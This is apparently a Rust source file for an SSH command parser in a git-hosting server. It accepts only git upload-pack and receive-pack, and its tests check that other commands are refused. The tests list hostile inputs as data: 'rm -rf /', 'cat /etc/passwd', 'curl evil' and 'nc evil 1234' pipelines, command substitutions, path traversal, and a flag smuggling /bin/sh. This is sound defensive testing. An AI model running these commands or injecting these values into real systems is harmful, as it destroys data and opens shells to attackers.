Jump to…
snowinitial commitqoxwzsukwmkx1mo
1//! Parsing the requested SSH command (spec §6, §9).
2//!
3//! > `dogfood-ssh` … dispatches only `git-upload-pack` and `git-receive-pack`.
4//! > No shell, no port forwarding, no agent forwarding, no PTY, no SFTP, no exec
5//! > of anything else. Parse the requested command strictly and reject anything
6//! > unrecognized.
7//!
8//! This is the module that decides what a connected key is allowed to run, so
9//! it is pure, strict, and heavily tested.
10
11#[derive(Debug, Clone, Copy, PartialEq, Eq)]
12pub enum Service {
13 UploadPack,
14 ReceivePack,
15}
16
17impl Service {
18 pub fn git_subcommand(self) -> &'static str {
19 match self {
20 Service::UploadPack => "upload-pack",
21 Service::ReceivePack => "receive-pack",
22 }
23 }
24
25 /// Whether running this service modifies the repository.
26 pub fn is_write(self) -> bool {
27 matches!(self, Service::ReceivePack)
28 }
29}
30
31#[derive(Debug, Clone, PartialEq, Eq)]
32pub struct Request {
33 pub service: Service,
34 pub owner: String,
35 pub repo: String,
36}
37
38#[derive(Debug, Clone, PartialEq, Eq)]
39pub enum ExecError {
40 /// Not one of the two permitted commands.
41 UnsupportedCommand,
42 /// The path was not `owner/repo`.
43 BadPath,
44 Malformed,
45}
46
47impl std::fmt::Display for ExecError {
48 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
49 match self {
50 ExecError::UnsupportedCommand => write!(
51 f,
52 "Dogfood accepts only `git-upload-pack` and `git-receive-pack` over SSH."
53 ),
54 ExecError::BadPath => write!(f, "Expected a path of the form 'owner/repo'."),
55 ExecError::Malformed => write!(f, "Could not parse the requested command."),
56 }
57 }
58}
59
60/// Parse an SSH exec request.
61///
62/// Git sends, for example: `git-upload-pack 'owner/repo.git'`.
63/// The quoting varies between clients, so both quoted and bare forms are
64/// accepted — but nothing else is. There is deliberately no shell involved:
65/// the string is split on whitespace and the pieces are matched literally, so
66/// metacharacters carry no meaning.
67pub fn parse(command: &str) -> Result<Request, ExecError> {
68 // Guard against absurd input before doing any work.
69 if command.is_empty() || command.len() > 4096 {
70 return Err(ExecError::Malformed);
71 }
72 // A control character has no place in a command and is a strong signal of
73 // an injection attempt.
74 if command.bytes().any(|b| b < 0x20 || b == 0x7f) {
75 return Err(ExecError::Malformed);
76 }
77
78 let trimmed = command.trim();
79 let (verb, rest) = match trimmed.split_once(char::is_whitespace) {
80 Some((v, r)) => (v, r.trim()),
81 None => return Err(ExecError::UnsupportedCommand),
82 };
83
84 // Exactly two commands. `git upload-pack` (space form) is also accepted
85 // because some clients send it, but nothing else — in particular not
86 // `git-upload-pack-with-anything`, and not a shell pipeline.
87 let (service, rest) = match verb {
88 "git-upload-pack" => (Service::UploadPack, rest),
89 "git-receive-pack" => (Service::ReceivePack, rest),
90 "git" => {
91 let (sub, r) = rest.split_once(char::is_whitespace).ok_or(ExecError::Malformed)?;
92 match sub {
93 "upload-pack" => (Service::UploadPack, r.trim()),
94 "receive-pack" => (Service::ReceivePack, r.trim()),
95 _ => return Err(ExecError::UnsupportedCommand),
96 }
97 }
98 _ => return Err(ExecError::UnsupportedCommand),
99 };
100
101 // Only one argument is permitted: the repository path. More than one means
102 // the client is trying to pass flags.
103 if rest.split_whitespace().count() != 1 {
104 return Err(ExecError::Malformed);
105 }
106
107 let path = unquote(rest);
108 let (owner, repo) = split_path(&path)?;
109
110 Ok(Request {
111 service,
112 owner,
113 repo,
114 })
115}
116
117fn unquote(s: &str) -> String {
118 let s = s.trim();
119 for q in ['\'', '"'] {
120 if s.len() >= 2 && s.starts_with(q) && s.ends_with(q) {
121 return s[1..s.len() - 1].to_string();
122 }
123 }
124 s.to_string()
125}
126
127/// Split `owner/repo(.git)` into its parts, rejecting anything else.
128///
129/// Traversal is impossible by construction: exactly two components are allowed
130/// and neither may contain a slash or a dot-dot.
131fn split_path(path: &str) -> Result<(String, String), ExecError> {
132 let path = path.trim_start_matches('/').trim_end_matches('/');
133 let path = path.strip_suffix(".git").unwrap_or(path);
134
135 let mut parts = path.split('/');
136 let (Some(owner), Some(repo), None) = (parts.next(), parts.next(), parts.next()) else {
137 return Err(ExecError::BadPath);
138 };
139
140 if owner.is_empty() || repo.is_empty() {
141 return Err(ExecError::BadPath);
142 }
143 // Belt and braces — a component cannot contain a slash here, but `..` as a
144 // whole component would still be a traversal attempt worth naming.
145 if owner.contains("..") || repo.contains("..") {
146 return Err(ExecError::BadPath);
147 }
148 if !owner.chars().all(valid_owner_char) || !repo.chars().all(valid_repo_char) {
149 return Err(ExecError::BadPath);
150 }
151
152 Ok((owner.to_string(), repo.to_string()))
153}
154
155fn valid_owner_char(c: char) -> bool {
156 c.is_ascii_alphanumeric() || c == '-'
157}
158
159fn valid_repo_char(c: char) -> bool {
160 c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-')
161}
162
163#[cfg(test)]
164mod tests {
165 use super::*;
166
167 fn req(service: Service, owner: &str, repo: &str) -> Request {
168 Request {
169 service,
170 owner: owner.into(),
171 repo: repo.into(),
172 }
173 }
174
175 #[test]
176 fn parses_the_standard_forms() {
177 assert_eq!(
178 parse("git-upload-pack 'snow/core.git'").unwrap(),
179 req(Service::UploadPack, "snow", "core")
180 );
181 assert_eq!(
182 parse("git-receive-pack 'snow/core.git'").unwrap(),
183 req(Service::ReceivePack, "snow", "core")
184 );
185 // Unquoted, no .git, leading slash — all seen from real clients.
186 assert_eq!(
187 parse("git-upload-pack /snow/core").unwrap(),
188 req(Service::UploadPack, "snow", "core")
189 );
190 assert_eq!(
191 parse("git-upload-pack \"snow/core.git\"").unwrap(),
192 req(Service::UploadPack, "snow", "core")
193 );
194 assert_eq!(
195 parse("git upload-pack 'snow/core.git'").unwrap(),
196 req(Service::UploadPack, "snow", "core")
197 );
198 }
199
200 // ─── everything else is refused (spec §9) ────────────────────────────────
201
202 #[test]
203 fn refuses_any_other_command() {
204 for bad in [
205 "bash",
206 "sh -c 'rm -rf /'",
207 "scp -t /tmp",
208 "rsync --server",
209 "git-upload-archive 'a/b'",
210 "git gc",
211 "git-upload-packX 'a/b'",
212 "/usr/bin/git-upload-pack 'a/b'",
213 "env",
214 "cat /etc/passwd",
215 ] {
216 assert!(
217 matches!(
218 parse(bad),
219 Err(ExecError::UnsupportedCommand) | Err(ExecError::Malformed)
220 ),
221 "must refuse {bad:?}, got {:?}",
222 parse(bad)
223 );
224 }
225 }
226
227 #[test]
228 fn shell_metacharacters_carry_no_meaning() {
229 // There is no shell, so these are simply invalid paths — never executed.
230 for bad in [
231 "git-upload-pack 'a/b; rm -rf /'",
232 "git-upload-pack 'a/b && curl evil'",
233 "git-upload-pack 'a/b|nc evil 1234'",
234 "git-upload-pack '$(whoami)/x'",
235 "git-upload-pack '`id`/x'",
236 ] {
237 assert!(parse(bad).is_err(), "must refuse {bad:?}");
238 }
239 }
240
241 #[test]
242 fn refuses_path_traversal() {
243 for bad in [
244 "git-upload-pack '../../etc/passwd'",
245 "git-upload-pack 'a/../../b'",
246 "git-upload-pack 'a/b/c'",
247 "git-upload-pack 'onlyone'",
248 "git-upload-pack '..'",
249 "git-upload-pack '/'",
250 ] {
251 assert!(
252 matches!(parse(bad), Err(ExecError::BadPath) | Err(ExecError::Malformed)),
253 "must refuse {bad:?}, got {:?}",
254 parse(bad)
255 );
256 }
257 }
258
259 /// An absolute path is the ordinary wire form, not an attack.
260 ///
261 /// `ssh://git@host/owner/repo.git` makes Git send `'/owner/repo.git'`, so
262 /// the leading slash has to be accepted. That means
263 /// `git-upload-pack '/etc/passwd'` parses — as owner `etc`, repo `passwd`,
264 /// which is a *name*, not a path.
265 ///
266 /// Nothing is disclosed by that, and it is worth being precise about why:
267 /// storage location derives from the repository's UUID and never from these
268 /// strings (spec §3, §9), so a parsed name that matches no row resolves to
269 /// no repository at all. The two components can never become a filesystem
270 /// path, whatever they say.
271 #[test]
272 fn an_absolute_path_is_the_normal_wire_form_not_traversal() {
273 assert_eq!(
274 parse("git-upload-pack '/alice/dogfood.git'").unwrap(),
275 req(Service::UploadPack, "alice", "dogfood")
276 );
277 assert_eq!(
278 parse("git-upload-pack '/etc/passwd'").unwrap(),
279 req(Service::UploadPack, "etc", "passwd"),
280 "parsed as two names; resolution against the database is what denies it"
281 );
282 }
283
284 #[test]
285 fn refuses_extra_arguments() {
286 // Otherwise a client could pass flags to git.
287 assert!(parse("git-upload-pack --upload-pack=/bin/sh 'a/b'").is_err());
288 assert!(parse("git-upload-pack 'a/b' 'c/d'").is_err());
289 assert!(parse("git-upload-pack --help").is_err());
290 }
291
292 #[test]
293 fn refuses_control_characters() {
294 assert_eq!(
295 parse("git-upload-pack 'a/b'\nrm -rf /"),
296 Err(ExecError::Malformed)
297 );
298 assert_eq!(parse("git-upload-pack 'a\0b'"), Err(ExecError::Malformed));
299 }
300
301 #[test]
302 fn refuses_empty_and_overlong() {
303 assert_eq!(parse(""), Err(ExecError::Malformed));
304 assert_eq!(parse("git-upload-pack"), Err(ExecError::UnsupportedCommand));
305 assert_eq!(parse(&"a".repeat(5000)), Err(ExecError::Malformed));
306 }
307
308 #[test]
309 fn write_classification_is_correct() {
310 assert!(!Service::UploadPack.is_write());
311 assert!(Service::ReceivePack.is_write());
312 }
313
314 #[test]
315 fn a_repo_named_with_dot_git_inside_is_preserved() {
316 // Only a trailing `.git` is stripped.
317 assert_eq!(
318 parse("git-upload-pack 'snow/my.git.repo'").unwrap().repo,
319 "my.git.repo"
320 );
321 }
322}

322 lines · Rust